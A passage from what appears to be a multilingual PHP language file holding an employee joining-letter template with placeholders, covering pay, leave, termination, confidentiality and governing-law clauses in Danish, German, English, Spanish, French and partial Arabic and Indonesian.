على سبيل المثال لا الحصر ، المعلومات المتعلقة بالمنظمة وقوائم العملاء وسياسات التوظيف والموظفين والمعلومات

حول منتجات الشركة وعملياتها بما في ذلك الأفكار والمفاهيم والإسقاطات والتكنولوجيا والكتيبات والرسم والتصاميم ،

المواصفات وجميع الأوراق والسير الذاتية والسجلات والمستندات الأخرى التي تحتوي على هذه المعلومات السرية.

11.3 لن تقوم في أي وقت بإزالة أي معلومات سرية من المكتب دون إذن.

11.4 واجبك في الحماية وعدم الإفشاء

تظل المعلومات السرية سارية بعد انتهاء أو إنهاء هذه الاتفاقية و / أو عملك مع الشركة.

11.5 سوف يجعلك خرق شروط هذا البند عرضة للفصل بإجراءات موجزة بموجب الفقرة أعلاه بالإضافة إلى أي

أي تعويض آخر قد يكون للشركة ضدك في القانون.

12. الإخطارات

يجوز لك إرسال إخطارات إلى الشركة على عنوان مكتبها المسجل. يمكن أن ترسل لك الشركة إشعارات على

العنوان الذي أشرت إليه في السجلات الرسمية.

13. تطبيق سياسة الشركة

يحق للشركة تقديم إعلانات السياسة من وقت لآخر فيما يتعلق بمسائل مثل استحقاق الإجازة والأمومة

الإجازة ، ومزايا الموظفين ، وساعات العمل ، وسياسات النقل ، وما إلى ذلك ، ويمكن تغييرها من وقت لآخر وفقًا لتقديرها الخاص.

جميع قرارات سياسة الشركة هذه ملزمة لك ويجب أن تلغي هذه الاتفاقية إلى هذا الحد.

14. القانون الحاكم / الاختصاص القضائي

يخضع عملك في الشركة لقوانين الدولة. تخضع جميع النزاعات للاختصاص القضائي للمحكمة العليا

غوجارات فقط.

15. قبول عرضنا

يرجى تأكيد قبولك لعقد العمل هذا من خلال التوقيع وإعادة النسخة المكررة.

نرحب بكم ونتطلع إلى تلقي موافقتكم والعمل معكم.

تفضلوا بقبول فائق الاحترام،

{app_name}

{date}

', 'da' => '

Tilslutningsbrev

{date}

{employee_name}

{address}

Emne: Udnævnelse til stillingen som {designation}

Kære {employee_name}

Vi er glade for at kunne tilbyde dig stillingen som {designation} hos {app_name} "Virksomheden" på følgende vilkår og

betingelser:

1. Påbegyndelse af ansættelse

Din ansættelse træder i kraft fra {start_date}

2. Jobtitel

Din jobtitel vil være {designation}.

3. Løn

Din løn og andre goder vil være som angivet i skema 1, hertil.

4. Udstationeringssted

Du vil blive slået op på {branch}. Du kan dog blive bedt om at arbejde på ethvert forretningssted, som virksomheden har, eller

senere kan erhverve.

5. Arbejdstimer

De normale arbejdsdage er mandag til fredag. Du vil blive forpligtet til at arbejde i de timer, som er nødvendige for

behørig varetagelse af dine pligter over for virksomheden. Den normale arbejdstid er fra {start_time} til {end_time}, og det er du

forventes at arbejde ikke mindre end {total_hours} timer hver uge, og om nødvendigt yderligere timer afhængigt af din

ansvar.

6. Orlov/Ferie

6.1 Du har ret til tilfældig ferie på 12 dage.

6.2 Du har ret til 12 arbejdsdages sygefravær med løn.

6.3 Virksomheden skal meddele en liste over erklærede helligdage i begyndelsen af ​​hvert år.

7. Arbejdsopgavernes art

Du vil efter bedste evne udføre alle de opgaver, der er iboende i din stilling og sådanne yderligere opgaver som virksomheden

kan opfordre dig til at optræde, fra tid til anden. Dine specifikke pligter er beskrevet i skema II hertil.

8. Firmaejendom

Du vil altid vedligeholde virksomhedens ejendom i god stand, som kan blive overdraget til dig til officiel brug i løbet af

din ansættelse, og skal returnere al sådan ejendom til virksomheden, før du opgiver din afgift, i modsat fald vil omkostningerne

af samme vil blive inddrevet fra dig af virksomheden.

9. Lån/modtagelse af gaver

Du vil ikke låne eller acceptere nogen penge, gave, belønning eller kompensation for dine personlige gevinster fra eller på anden måde placere dig selv

under en økonomisk forpligtelse over for enhver person/kunde, som du måtte have officielle forbindelser med.

10. Opsigelse

10.1 Din ansættelse kan opsiges af virksomheden uden nogen grund ved at give dig mindst [varsel] måneder før

skriftligt varsel eller løn i stedet herfor. Ved løn forstås i denne paragraf grundløn.

10.2 Du kan opsige dit ansættelsesforhold i virksomheden uden nogen grund ved at give mindst [Medarbejdermeddelelse]

måneders forudgående varsel eller løn for den ikke-opsparede periode, tilbage efter regulering af afventende orlov, som på dato.

10.3 Virksomheden forbeholder sig retten til at opsige dit ansættelsesforhold midlertidigt uden opsigelsesfrist eller opsigelsesbetaling

hvis den har rimelig grund til at tro, at du er skyldig i forseelse eller uagtsomhed, eller har begået et grundlæggende brud på

kontrakt, eller forårsaget tab for virksomheden.

10. 4 Ved ophør af din ansættelse uanset årsag, vil du returnere al ejendom til virksomheden; dokumenter, og

papir, både originale og kopier heraf, inklusive prøver, litteratur, kontrakter, optegnelser, lister, tegninger, tegninger,

breve, notater, data og lignende; og fortrolige oplysninger, i din besiddelse eller under din kontrol vedrørende din

ansættelse eller til kunders forretningsforhold.

11. Fortrolige oplysninger

11. 1 Under din ansættelse i virksomheden vil du bruge al din tid, opmærksomhed og dygtighed efter bedste evne til

sin virksomhed. Du må ikke, direkte eller indirekte, engagere eller associere dig med, være forbundet med, bekymret, ansat eller

tid eller forfølge et hvilket som helst studieforløb uden forudgående tilladelse fra virksomheden. involveret i anden virksomhed eller

aktiviteter eller enhver anden stilling eller arbejde på deltid eller forfølge ethvert studieforløb uden forudgående tilladelse fra

Selskab.

11.2 Du skal altid opretholde den højeste grad af fortrolighed og opbevare optegnelser, dokumenter og andre fortrolige oplysninger.

Fortrolige oplysninger vedrørende virksomhedens virksomhed, som kan være kendt af dig eller betroet dig på nogen måde

og du vil kun bruge sådanne optegnelser, dokumenter og oplysninger på en behørigt autoriseret måde i virksomhedens interesse. Til

formålene med denne paragraf "Fortrolige oplysninger" betyder oplysninger om virksomhedens og dets kunders forretning

som ikke er tilgængelig for offentligheden, og som du kan lære i løbet af din ansættelse. Dette inkluderer,

men er ikke begrænset til information vedrørende organisationen, dens kundelister, ansættelsespolitikker, personale og information

om virksomhedens produkter, processer, herunder ideer, koncepter, projektioner, teknologi, manualer, tegning, design,

specifikationer og alle papirer, CVer, optegnelser og andre dokumenter, der indeholder sådanne fortrolige oplysninger.

11.3 Du vil på intet tidspunkt fjerne fortrolige oplysninger fra kontoret uden tilladelse.

11.4 Din pligt til at beskytte og ikke oplyse

e Fortrolige oplysninger vil overleve udløbet eller opsigelsen af ​​denne aftale og/eller din ansættelse hos virksomheden.

11.5 Overtrædelse af betingelserne i denne klausul vil gøre dig ansvarlig for midlertidig afskedigelse i henhold til klausulen ovenfor ud over evt.

andre retsmidler, som virksomheden måtte have mod dig i henhold til loven.

12. Meddelelser

Meddelelser kan gives af dig til virksomheden på dets registrerede kontoradresse. Meddelelser kan gives af virksomheden til dig på

den adresse, du har angivet i de officielle optegnelser.

13. Anvendelse af virksomhedens politik

Virksomheden er berettiget til fra tid til anden at afgive politiske erklæringer vedrørende sager som ret til orlov, barsel

orlov, ansattes ydelser, arbejdstider, overførselspolitikker osv., og kan ændre det samme fra tid til anden efter eget skøn.

Alle sådanne politiske beslutninger fra virksomheden er bindende for dig og tilsidesætter denne aftale i det omfang.

14. Gældende lov/Jurisdiktion

Din ansættelse hos virksomheden er underlagt landets love. Alle tvister er underlagt High Courts jurisdiktion

Kun Gujarat.

15. Accept af vores tilbud

Bekræft venligst din accept af denne ansættelseskontrakt ved at underskrive og returnere kopien.

Vi byder dig velkommen og ser frem til at modtage din accept og til at arbejde sammen med dig.

Venlig hilsen,

{app_name}

{date}

', 'de' => '

Beitrittsbrief

{date}

{employee_name}

{address}

Betreff: Ernennung für die Stelle von {designation}

Sehr geehrter {employee_name},

Wir freuen uns, Ihnen die Position von {designation} bei {app_name} dem „Unternehmen“ zu den folgenden Bedingungen anbieten zu können

Bedingungen:

1. Aufnahme des Arbeitsverhältnisses

Ihre Anstellung gilt ab dem {start_date}

2. Berufsbezeichnung

Ihre Berufsbezeichnung lautet {designation}.

3. Gehalt

Ihr Gehalt und andere Leistungen sind in Anhang 1 zu diesem Dokument aufgeführt.

4. Postort

Sie werden bei {branch} eingestellt. Es kann jedoch erforderlich sein, dass Sie an jedem Geschäftssitz arbeiten, den das Unternehmen hat, oder

später erwerben kann.

5. Arbeitszeit

Die normalen Arbeitstage sind Montag bis Freitag. Sie müssen so viele Stunden arbeiten, wie es für die erforderlich ist

ordnungsgemäße Erfüllung Ihrer Pflichten gegenüber dem Unternehmen. Die normalen Arbeitszeiten sind von {start_time} bis {end_time} und Sie sind es

voraussichtlich nicht weniger als {total_hours} Stunden pro Woche arbeiten, und falls erforderlich, abhängig von Ihren zusätzlichen Stunden

Verantwortlichkeiten.

6. Urlaub/Urlaub

6.1 Sie haben Anspruch auf Freizeiturlaub von 12 Tagen.

6.2 Sie haben Anspruch auf 12 Arbeitstage bezahlten Krankenurlaub.

6.3 Das Unternehmen teilt zu Beginn jedes Jahres eine Liste der erklärten Feiertage mit.

7. Art der Pflichten

Sie werden alle Aufgaben, die mit Ihrer Funktion verbunden sind, sowie alle zusätzlichen Aufgaben als Unternehmen nach besten Kräften erfüllen

kann Sie von Zeit zu Zeit zur Leistung auffordern. Ihre spezifischen Pflichten sind in Anhang II zu diesem Dokument aufgeführt.

8. Firmeneigentum

Sie werden das Firmeneigentum, das Ihnen im Laufe der Zeit für offizielle Zwecke anvertraut werden kann, stets in gutem Zustand halten

Ihrer Anstellung und muss all dieses Eigentum an das Unternehmen zurückgeben, bevor Sie Ihre Gebühr aufgeben, andernfalls die Kosten

derselben werden von der Gesellschaft von Ihnen zurückgefordert.

9. Leihen/Annehmen von Geschenken

Sie werden kein Geld, Geschenk, keine Belohnung oder Entschädigung für Ihre persönlichen Gewinne von sich leihen oder annehmen oder sich anderweitig platzieren

unter finanzieller Verpflichtung gegenüber Personen/Kunden, mit denen Sie möglicherweise dienstliche Beziehungen unterhalten.

10. Kündigung

10.1 Ihre Ernennung kann vom Unternehmen ohne Angabe von Gründen gekündigt werden, indem es Ihnen mindestens [Kündigung] Monate im Voraus mitteilt

schriftliche Kündigung oder Gehalt statt dessen. Gehalt im Sinne dieser Klausel bedeutet Grundgehalt.

10.2 Sie können Ihre Anstellung beim Unternehmen ohne Angabe von Gründen kündigen, indem Sie mindestens [Mitarbeitermitteilung]

Kündigungsfrist von Monaten oder Gehalt für den nicht angesparten Zeitraum, der nach Anpassung der anstehenden Urlaubstage übrig bleibt, zum Stichtag.

10.3 Das Unternehmen behält sich das Recht vor, Ihr Arbeitsverhältnis ohne Kündigungsfrist oder Abfindungszahlung fristlos zu kündigen

wenn es begründeten Anlass zu der Annahme gibt, dass Sie sich eines Fehlverhaltens oder einer Fahrlässigkeit schuldig gemacht haben oder einen wesentlichen Verstoß begangen haben

oder dem Unternehmen Verluste verursacht haben.

10. 4 Bei Beendigung Ihres Beschäftigungsverhältnisses, aus welchem ​​Grund auch immer, werden Sie sämtliches Eigentum an das Unternehmen zurückgeben; Dokumente und

Papier, sowohl Original als auch Kopien davon, einschließlich aller Muster, Literatur, Verträge, Aufzeichnungen, Listen, Zeichnungen, Blaupausen,

Briefe, Notizen, Daten und dergleichen; und vertrauliche Informationen, die sich in Ihrem Besitz oder unter Ihrer Kontrolle befinden und sich auf Sie beziehen

Beschäftigung oder für die geschäftlichen Angelegenheiten der Kunden.

11. Confidential Information

11. 1 During your employment with the Company you will devote your whole time, attention, and skill to the best of your ability for

its business. You shall not, directly or indirectly, engage or associate yourself with, be connected with, concerned, employed, or

time or pursue any course of study whatsoever, without the prior permission of the Company.engaged in any other business or

activities or any other post or work part-time or pursue any course of study whatsoever, without the prior permission of the

Company.

11.2 You must always maintain the highest degree of confidentiality and keep as confidential the records, documents, and other 

Confidential Information relating to the business of the Company which may be known to you or confided in you by any means

and you will use such records, documents and information only in a duly authorized manner in the interest of the Company. For

the purposes of this clause ‘Confidential Information’ means information about the Company’s business and that of its customers

which is not available to the general public and which may be learned by you in the course of your employment. This includes,

but is not limited to, information relating to the organization, its customer lists, employment policies, personnel, and information

about the Company’s products, processes including ideas, concepts, projections, technology, manuals, drawing, designs, 

specifications, and all papers, resumes, records and other documents containing such Confidential Information.

11.3 At no time, will you remove any Confidential Information from the office without permission.

11.4 Your duty to safeguard and not disclos

e Confidential Information will survive the expiration or termination of this Agreement and/or your employment with the Company.

11.5 Breach of the conditions of this clause will render you liable to summary dismissal under the clause above in addition to any

other remedy the Company may have against you in law.

12. Notices

Notices may be given by you to the Company at its registered office address. Notices may be given by the Company to you at

the address intimated by you in the official records.

13. Applicability of Company Policy

The Company shall be entitled to make policy declarations from time to time pertaining to matters like leave entitlement,maternity

leave, employees’ benefits, working hours, transfer policies, etc., and may alter the same from time to time at its sole discretion.

All such policy decisions of the Company shall be binding on you and shall override this Agreement to that  extent.

14. Governing Law/Jurisdiction

Your employment with the Company is subject to Country laws. All disputes shall be subject to the jurisdiction of High Court

Gujarat only.

15. Acceptance of our offer

Please confirm your acceptance of this Contract of Employment by signing and returning the duplicate copy.

We welcome you and look forward to receiving your acceptance and to working with you.

Yours Sincerely,

{app_name}

{date}

', 'en' => '

Joining Letter

{date}

{employee_name}

{address}

Subject: Appointment for the post of {designation}

Dear {employee_name},

We are pleased to offer you the position of {designation} with {app_name} theCompany on the following terms and

conditions:

1. Commencement of employment

Your employment will be effective, as of {start_date}

2. Job title

Your job title will be{designation}.

3. Salary

Your salary and other benefits will be as set out in Schedule 1, hereto.

4. Place of posting

You will be posted at {branch}. You may however be required to work at any place of business which the Company has, or

may later acquire.

5. Hours of Work

The normal working days are Monday through Friday. You will be required to work for such hours as necessary for the

proper discharge of your duties to the Company. The normal working hours are from {start_time} to {end_time} and you are

expected to work not less than {total_hours} hours each week, and if necessary for additional hours depending on your

responsibilities.

6. Leave/Holidays

6.1 You are entitled to casual leave of 12 days.

6.2 You are entitled to 12 working days of paid sick leave.

6.3 The Company shall notify a list of declared holidays at the beginning of each year.

7. Nature of duties

You will perform to the best of your ability all the duties as are inherent in your post and such additional duties as the company

may call upon you to perform, from time to time. Your specific duties are set out in Schedule II hereto.

8. Company property

You will always maintain in good condition Company property, which may be entrusted to you for official use during the course of

your employment, and shall return all such property to the Company prior to relinquishment of your charge, failing which the cost

of the same will be recovered from you by the Company.

9. Borrowing/accepting gifts

You will not borrow or accept any money, gift, reward, or compensation for your personal gains from or otherwise place yourself

under pecuniary obligation to any person/client with whom you may be having official dealings.

10. Termination

10.1 Your appointment can be terminated by the Company, without any reason, by giving you not less than [Notice] months prior

notice in writing or salary in lieu thereof. For the purpose of this clause, salary shall mean basic salary.

10.2 You may terminate your employment with the Company, without any cause, by giving no less than [Employee Notice]

months prior notice or salary for the unsaved period, left after adjustment of pending leaves, as on date.

10.3 The Company reserves the right to terminate your employment summarily without any notice period or termination payment

if it has reasonable ground to believe you are guilty of misconduct or negligence, or have committed any fundamental breach of

contract, or caused any loss to the Company.

10. 4 On the termination of your employment for whatever reason, you will return to the Company all property; documents, and

paper, both original and copies thereof, including any samples, literature, contracts, records, lists, drawings, blueprints,

letters, notes, data and the like; and Confidential Information, in your possession or under your control relating to your

employment or to clients business affairs.

11. Confidential Information

11. 1 During your employment with the Company you will devote your whole time, attention, and skill to the best of your ability for

its business. You shall not, directly or indirectly, engage or associate yourself with, be connected with, concerned, employed, or

time or pursue any course of study whatsoever, without the prior permission of the Company.engaged in any other business or

activities or any other post or work part-time or pursue any course of study whatsoever, without the prior permission of the

Company.

11.2 You must always maintain the highest degree of confidentiality and keep as confidential the records, documents, and other

Confidential Information relating to the business of the Company which may be known to you or confided in you by any means

and you will use such records, documents and information only in a duly authorized manner in the interest of the Company. For

the purposes of this clauseConfidential Information means information about the Companys business and that of its customers

which is not available to the general public and which may be learned by you in the course of your employment. This includes,

but is not limited to, information relating to the organization, its customer lists, employment policies, personnel, and information

about the Companys products, processes including ideas, concepts, projections, technology, manuals, drawing, designs,

specifications, and all papers, resumes, records and other documents containing such Confidential Information.

11.3 At no time, will you remove any Confidential Information from the office without permission.

11.4 Your duty to safeguard and not disclos

e Confidential Information will survive the expiration or termination of this Agreement and/or your employment with the Company.

11.5 Breach of the conditions of this clause will render you liable to summary dismissal under the clause above in addition to any

other remedy the Company may have against you in law.

12. Notices

Notices may be given by you to the Company at its registered office address. Notices may be given by the Company to you at

the address intimated by you in the official records.

13. Applicability of Company Policy

The Company shall be entitled to make policy declarations from time to time pertaining to matters like leave entitlement,maternity

leave, employees benefits, working hours, transfer policies, etc., and may alter the same from time to time at its sole discretion.

All such policy decisions of the Company shall be binding on you and shall override this Agreement to that extent.

14. Governing Law/Jurisdiction

Your employment with the Company is subject to Country laws. All disputes shall be subject to the jurisdiction of High Court

Gujarat only.

15. Acceptance of our offer

Please confirm your acceptance of this Contract of Employment by signing and returning the duplicate copy.

We welcome you and look forward to receiving your acceptance and to working with you.

Yours Sincerely,

{app_name}

{date}

', 'es' => '

Carta de unión

{date}

{employee_name}

{address}

Asunto: Nombramiento para el puesto de {designation}

Estimado {employee_name},

Nos complace ofrecerle el puesto de {designation} con {app_name}, la Compañía en los siguientes términos y

condiciones:

1. Comienzo del empleo

Su empleo será efectivo a partir del {start_date}

2. Título del trabajo

El título de su trabajo será {designation}.

3. Salario

Su salario y otros beneficios serán los establecidos en el Anexo 1 del presente.

4. Lugar de destino

Se le publicará en {branch}. Sin embargo, es posible que deba trabajar en cualquier lugar de negocios que tenga la Compañía, o

puede adquirir posteriormente.

5. Horas de trabajo

Los días normales de trabajo son de lunes a viernes. Se le pedirá que trabaje las horas que sean necesarias para el

cumplimiento adecuado de sus deberes para con la Compañía. El horario normal de trabajo es de {start_time} a {end_time} y usted está

se espera que trabaje no menos de {total_hours} horas cada semana y, si es necesario, horas adicionales dependiendo de su

responsabilidades.

6. Licencia/Vacaciones

6.1 Tiene derecho a un permiso eventual de 12 días.

6.2 Tiene derecho a 12 días laborables de baja por enfermedad remunerada.

6.3 La Compañía deberá notificar una lista de días festivos declarados al comienzo de cada año.

7. Naturaleza de los deberes

Desempeñará lo mejor que pueda todas las funciones inherentes a su puesto y aquellas funciones adicionales que la empresa

puede pedirte que actúes, de vez en cuando. Sus deberes específicos se establecen en el Anexo II del presente.

8. Propiedad de la empresa

Siempre mantendrá en buenas condiciones la propiedad de la Compañía, que se le puede confiar para uso oficial durante el curso de

su empleo, y devolverá todos esos bienes a la Compañía antes de renunciar a su cargo, en caso contrario, el costo

de la misma será recuperada de usted por la Compañía.

9. Tomar prestado/aceptar regalos

No pedirá prestado ni aceptará dinero, obsequios, recompensas o compensaciones por sus ganancias personales o se colocará de otra manera

bajo obligación pecuniaria a cualquier persona/cliente con quien pueda tener tratos oficiales.

10. Terminación

10.1 Su nombramiento puede ser rescindido por la Compañía, sin ningún motivo, al darle no menos de [Aviso] meses antes

aviso por escrito o salario en su lugar. Para los efectos de esta cláusula, se entenderá por salario el salario base.

10.2 Puede rescindir su empleo con la Compañía, sin ninguna causa, dando no menos de [Aviso al empleado]

meses de preaviso o salario por el período no ahorrado, remanente después del ajuste de licencias pendientes, a la fecha.

10.3 La Compañía se reserva el derecho de rescindir su empleo sumariamente sin ningún período de preaviso o pago por rescisión

si tiene motivos razonables para creer que usted es culpable de mala conducta o negligencia, o ha cometido una violación fundamental de

contrato, o causado cualquier pérdida a la Compañía.

10. 4 A la terminación de su empleo por cualquier motivo, devolverá a la Compañía todos los bienes; documentos, y

papel, tanto en original como en copia del mismo, incluyendo cualquier muestra, literatura, contratos, registros, listas, dibujos, planos,

cartas, notas, datos y similares; e Información confidencial, en su posesión o bajo su control en relación con su

empleo o a los asuntos comerciales de los clientes.

11. Información confidencial

11. 1 Durante su empleo en la Compañía, dedicará todo su tiempo, atención y habilidad lo mejor que pueda para

son negocios. Usted no deberá, directa o indirectamente, comprometerse o asociarse con, estar conectado, interesado, empleado o

tiempo o seguir cualquier curso de estudio, sin el permiso previo de la Compañía. participar en cualquier otro negocio o

actividades o cualquier otro puesto o trabajo a tiempo parcial o seguir cualquier curso de estudio, sin el permiso previo de la

Compañía.

11.2 Siempre debe mantener el más alto grado de confidencialidad y mantener como confidenciales los registros, documentos y otros

Información confidencial relacionada con el negocio de la Compañía que usted pueda conocer o confiarle por cualquier medio

y utilizará dichos registros, documentos e información solo de manera debidamente autorizada en interés de la Compañía. Para

A los efectos de esta cláusula, "Información confidencial" significa información sobre el negocio de la Compañía y el de sus clientes.

que no está disponible para el público en general y que usted puede aprender en el curso de su empleo. Esto incluye,

pero no se limita a, información relacionada con la organización, sus listas de clientes, políticas de empleo, personal e información

sobre los productos de la Compañía, procesos que incluyen ideas, conceptos, proyecciones, tecnología, manuales, dibujos, diseños,

especificaciones, y todos los papeles, currículos, registros y otros documentos que contengan dicha Información Confidencial.

11.3 En ningún momento, sacará ninguna Información Confidencial de la oficina sin permiso.

11.4 Su deber de salvaguardar y no divulgar

La Información Confidencial sobrevivirá a la expiración o terminación de este Acuerdo y/o su empleo con la Compañía.

11.5 El incumplimiento de las condiciones de esta cláusula le hará pasible de despido sumario en virtud de la cláusula anterior además de cualquier

otro recurso que la Compañía pueda tener contra usted por ley.

12. Avisos

Usted puede enviar notificaciones a la Compañía a su domicilio social. La Compañía puede enviarle notificaciones a usted en

la dirección indicada por usted en los registros oficiales.

13. Aplicabilidad de la política de la empresa

La Compañía tendrá derecho a hacer declaraciones de política de vez en cuando relacionadas con asuntos como el derecho a licencia, maternidad

licencia, beneficios de los empleados, horas de trabajo, políticas de transferencia, etc., y puede modificarlas de vez en cuando a su sola discreción.

Todas las decisiones políticas de la Compañía serán vinculantes para usted y anularán este Acuerdo en esa medida.

14. Ley aplicable/Jurisdicción

Su empleo con la Compañía está sujeto a las leyes del País. Todas las disputas estarán sujetas a la jurisdicción del Tribunal Superior

Sólo Gujarat.

15. Aceptación de nuestra oferta

Por favor, confirme su aceptación de este Contrato de Empleo firmando y devolviendo el duplicado.

Le damos la bienvenida y esperamos recibir su aceptación y trabajar con usted.

Tuyo sinceramente,

{app_name}

{date}

', 'fr' => '

Lettre dadhésion

{date}

{employee_name}

{address}

Objet : Nomination pour le poste de {designation}

Cher {employee_name},

Nous sommes heureux de vous proposer le poste de {designation} avec {app_name} la "Société" selon les conditions suivantes et

les conditions:

1. Entrée en fonction

Votre emploi sera effectif à partir du {start_date}

2. Intitulé du poste

Votre titre de poste sera {designation}.

3. Salaire

Votre salaire et vos autres avantages seront tels quindiqués à lannexe 1 ci-jointe.

4. Lieu de détachement

Vous serez affecté à {branch}. Vous pouvez cependant être tenu de travailler dans nimporte quel lieu daffaires que la Société a, ou

pourra acquérir plus tard.

5. Heures de travail

Les jours ouvrables normaux sont du lundi au vendredi. Vous devrez travailler les heures nécessaires à la

lexercice correct de vos fonctions envers la Société. Les heures normales de travail vont de {start_time} à {end_time} et vous êtes

devrait travailler au moins {total_hours} heures par semaine, et si nécessaire des heures supplémentaires en fonction de votre

responsabilités.

6. Congés/Vacances

6.1 Vous avez droit à un congé occasionnel de 12 jours.

6.2 Vous avez droit à 12 jours ouvrables de congé de maladie payé.

6.3 La Société communiquera une liste des jours fériés déclarés au début de chaque année.

7. Nature des fonctions

Vous exécuterez au mieux de vos capacités toutes les tâches inhérentes à votre poste et les tâches supplémentaires que lentreprise

peut faire appel à vous pour effectuer, de temps à autre. Vos fonctions spécifiques sont énoncées à lannexe II ci-jointe.

8. Biens sociaux

Vous maintiendrez toujours en bon état les biens de la Société, qui peuvent vous être confiés pour un usage officiel au cours de votre

votre emploi, et doit restituer tous ces biens à la Société avant labandon de votre charge, à défaut de quoi le coût

de même seront récupérés auprès de vous par la Société.

9. Emprunter/accepter des cadeaux

Vous nemprunterez ni naccepterez dargent, de cadeau, de récompense ou de compensation pour vos gains personnels ou vous placerez autrement

sous obligation pécuniaire envers toute personne/client avec qui vous pourriez avoir des relations officielles.

10. Résiliation

10.1 Votre nomination peut être résiliée par la Société, sans aucune raison, en vous donnant au moins [Préavis] mois avant

un préavis écrit ou un salaire en tenant lieu. Aux fins de la présente clause, salaire sentend du salaire de base.

10.2 Vous pouvez résilier votre emploi au sein de la Société, sans motif, en donnant au moins [Avis à lemployé]

mois de préavis ou de salaire pour la période non épargnée, restant après régularisation des congés en attente, à la date.

10.3 La Société se réserve le droit de résilier votre emploi sans préavis ni indemnité de licenciement.

sil a des motifs raisonnables de croire que vous êtes coupable dinconduite ou de négligence, ou que vous avez commis une violation fondamentale de

contrat, ou causé une perte à la Société.

10. 4 À la fin de votre emploi pour quelque raison que ce soit, vous restituerez à la Société tous les biens ; document, et

papier, à la fois loriginal et les copies de celui-ci, y compris les échantillons, la littérature, les contrats, les dossiers, les listes, les dessins, les plans,

lettres, notes, données et similaires; et Informations confidentielles, en votre possession ou sous votre contrôle relatives à votre

lemploi ou aux affaires commerciales des clients.

11. Informations confidentielles

11. 1 Au cours de votre emploi au sein de la Société, vous consacrerez tout votre temps, votre attention et vos compétences au mieux de vos capacités pour

son affaire. Vous ne devez pas, directement ou indirectement, vous engager ou vous associer à, être lié à, concerné, employé ou

temps ou poursuivre quelque programme détudes que ce soit, sans lautorisation préalable de la Société. engagé dans toute autre entreprise ou

activités ou tout autre poste ou travail à temps partiel ou poursuivre des études quelconques, sans lautorisation préalable du

Compagnie.

11.2 Vous devez toujours maintenir le plus haut degré de confidentialité et garder confidentiels les dossiers, documents et autres

Informations confidentielles relatives à lactivité de la Société dont vous pourriez avoir connaissance ou qui vous seraient confiées par tout moyen

et vous nutiliserez ces registres, documents et informations que dune manière dûment autorisée dans lintérêt de la Société. Pour

aux fins de la présente clause « Informations confidentielles » désigne les informations sur les activités de la Société et celles de ses clients

qui nest pas accessible au grand public et dont vous pourriez avoir connaissance dans le cadre de votre emploi. Ceci comprend,

mais sans sy limiter, les informations relatives à lorganisation, ses listes de clients, ses politiques demploi, son personnel et les informations

sur les produits, les processus de la Société, y compris les idées, les concepts, les projections, la technologie, les manuels, les dessins, les conceptions,

spécifications, et tous les papiers, curriculum vitae, dossiers et autres documents contenant de telles informations confidentielles.

11.3 À aucun moment, vous ne retirerez des informations confidentielles du bureau sans autorisation.

11.4 Votre devoir de protéger et de ne pas divulguer

Les Informations confidentielles survivront à lexpiration ou à la résiliation du présent Contrat et/ou à votre emploi au sein de la Société.

11.5 La violation des conditions de cette clause vous rendra passible dun renvoi sans préavis en vertu de la clause ci-dessus en plus de tout

autre recours que la Société peut avoir contre vous en droit.

12. Avis

Des avis peuvent être donnés par vous à la Société à ladresse de son siège social. Des avis peuvent vous être donnés par la Société à

ladresse que vous avez indiquée dans les registres officiels.

13. Applicabilité de la politique de lentreprise

La Société est autorisée à faire des déclarations de politique de temps à autre concernant des questions telles que le droit aux congés, la maternité

les congés, les avantages sociaux des employés, les heures de travail, les politiques de transfert, etc., et peut les modifier de temps à autre à sa seule discrétion.

Toutes ces décisions politiques de la Société vous lieront et prévaudront sur le présent Contrat dans cette mesure.

14. Droit applicable/juridiction

Votre emploi au sein de la Société est soumis aux lois du pays. Tous les litiges seront soumis à la compétence du tribunal de grande instance

Gujarat uniquement.

15. Acceptation de notre offre

Veuillez confirmer votre acceptation de ce contrat de travail en signant et en renvoyant le duplicata.

Nous vous souhaitons la bienvenue et nous nous réjouissons de recevoir votre acceptation et de travailler avec vous.

Cordialement,

{app_name}

{date}

', 'id' => '

Surat Bergabung

{date}

{employee_name}

{address}

Perihal: Pengangkatan untuk jabatan {designation}

{employee_name} yang terhormat,

Kami dengan senang hati menawarkan kepada Anda, posisi {designation} dengan {app_name} sebagai Perusahaan dengan persyaratan dan

kondisi:

1. Mulai bekerja

Pekerjaan Anda akan efektif, mulai {start_date}

2. Jabatan

Jabatan Anda adalah {designation}.

3. Gaji

Gaji Anda dan tunjangan lainnya akan diatur dalam Jadwal 1, di sini.

4. Tempat posting

Anda akan diposkan di {branch}. Namun Anda mungkin diminta untuk bekerja di tempat bisnis mana pun yang dimiliki Perusahaan, atau

nantinya dapat memperoleh.

5. Jam Kerja

Hari kerja normal adalah Senin sampai Jumat. Anda akan diminta untuk bekerja selama jam-jam yang diperlukan untuk

pelaksanaan tugas Anda dengan benar di Perusahaan. Jam kerja normal adalah dari {start_time} hingga {end_time} dan Anda

diharapkan bekerja tidak kurang dari {total_hours} jam setiap minggu, dan jika perlu untuk jam tambahan tergantung pada

tanggung jawab.

6. Cuti/Libur

6.1 Anda berhak atas cuti biasa selama 12 hari.

6.2 Anda berhak atas 12 hari kerja cuti sakit berbayar.

6.3 Perusahaan akan memberitahukan daftar hari libur yang diumumkan pada awal setiap tahun.

7. Sifat tugas

Anda akan melakukan yang terbaik dari kemampuan Anda semua tugas yang melekat pada jabatan Anda dan tugas tambahan seperti perusahaan

dapat memanggil Anda untuk tampil, dari waktu ke waktu. Tugas khusus Anda ditetapkan dalam Jadwal II di sini.

8. Properti perusahaan

Anda akan selalu menjaga properti Perusahaan dalam kondisi baik, yang dapat dipercayakan kepada Anda untuk penggunaan resmi selama

pekerjaan Anda, dan akan mengembalikan semua properti tersebut kepada Perusahaan sebelum melepaskan biaya Anda, jika tidak ada biayanya

yang sama akan dipulihkan dari Anda oleh Perusahaan.

9. Meminjam/menerima hadiah

Anda tidak akan meminjam atau menerima uang, hadiah, hadiah, atau kompensasi apa pun untuk keuntungan pribadi Anda dari atau dengan cara lain menempatkan diri Anda sendiri

di bawah kewajiban uang kepada setiap orang/klien dengan siapa Anda mungkin memiliki hubungan resmi.

10. Penghentian

10.1 Penunjukan Anda dapat diakhiri oleh Perusahaan, tanpa alasan apa pun, dengan memberi Anda tidak kurang dari [Pemberitahuan] bulan sebelumnya

pemberitahuan secara tertulis atau gaji sebagai penggantinya. Untuk maksud pasal ini, gaji berarti gaji pokok.

10.2 Anda dapat memutuskan hubungan kerja Anda dengan Perusahaan, tanpa alasan apa pun, dengan memberikan tidak kurang dari [Pemberitahuan Karyawan]

